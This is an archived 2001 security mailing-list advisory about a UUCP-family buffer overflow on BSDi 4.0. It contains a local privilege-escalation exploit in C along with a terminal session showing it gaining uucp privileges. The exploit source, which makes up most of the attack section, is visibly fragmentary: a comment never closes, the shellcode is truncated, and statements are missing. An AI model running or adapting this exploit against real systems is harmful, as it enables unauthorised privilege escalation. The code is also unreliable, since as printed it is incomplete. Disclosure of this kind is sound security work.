[EXPL] UUCP Family Exploit (uucp / uuparams / uuname)

From: support@securiteam.com
Date: 12/10/01

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 10 Dec 2001 09:01:18 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  UUCP Family Exploit (uucp / uuparams / uuname)


As we reported in our previous article:
<http://www.securiteam.com/unixfocus/6X00Y0035M.html> UUCP Command Line
Arguments Buffer Overflow, a buffer overflow vulnerability in UUCP allows
an attacker to cause the program to execute arbitrary code, thus gaining
elevated access (when the program has been set setuid uucp, or root).

The following is an exploit code that can be used by administrators to
verify whether they are vulnerable or not.


bash-2.02$ id
uid=123(t) gid=100(user) groups=100(user)
bash-2.02$ cc bsdi_uucp.c -o bsdi_uucp
bash-2.02$ ./bsdi_uucp -uuparams
[ (BSDi/4.0)uucp*[]: family buffer overflow, by:
v9@fakehalo.deadpig.org. ]
*** [data]: return address: 0x80474, program:
$ id
uid=123(t) euid=6(uucp) gid=100(user) egid=6(uucp)
groups=6(uucp), 100(user)
-- usage end --

-- bsdi_uucp.c start --
/* (BSDi)uucp[] family buffer overflow. by:
   v9@fakehalo.deadpig.org. this yields
   euid/egid/group=6(uucp) on BSDi/4.0
   systems. (BSDi specific exploit)
#define UUCP "/usr/bin/uucp"
#define UUPARAMS "/usr/sbin/uuparams"
#define UUNAME "/usr/bin/uuname"
#define FILLER "x"
static char exec[]=
 "\x69\x6e\x2f\x73\x68\x00"; /* 46 chars. */
void usage(char *progname){
 printf("*** [syntax]: %s <-uucp|-uuparams|"
long pointer(void){__asm__("movl %esp,%eax");}
int main(int ac,char **av){
 unsigned short type=0;
 unsigned int i=0;
 long ret;
 char eip[1024],buf[4096];
 char *progptr;
 printf("[ (BSDi/4.0)uucp*[]: family buffer o"
 "verflow, by: v9@fakehalo.deadpig.org. ]\n");
  else if(!strncasecmp(av[1],"-uuparams",9)){
  else if(!strncasecmp(av[1],"-uuname",7)){
 for(i=3;i<1024;i+=4){*(long *)&eip[i]=ret;}
 printf("*** [data]: return address: 0x%lx, p"
 "rogram: %s.\n",ret,progptr);
  printf("*** [error]: could not execute %s s"
-- bsdi_uucp.c end --


The information has been provided by <mailto:v9@fakehalo.deadpig.org>
Vade 79 .


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.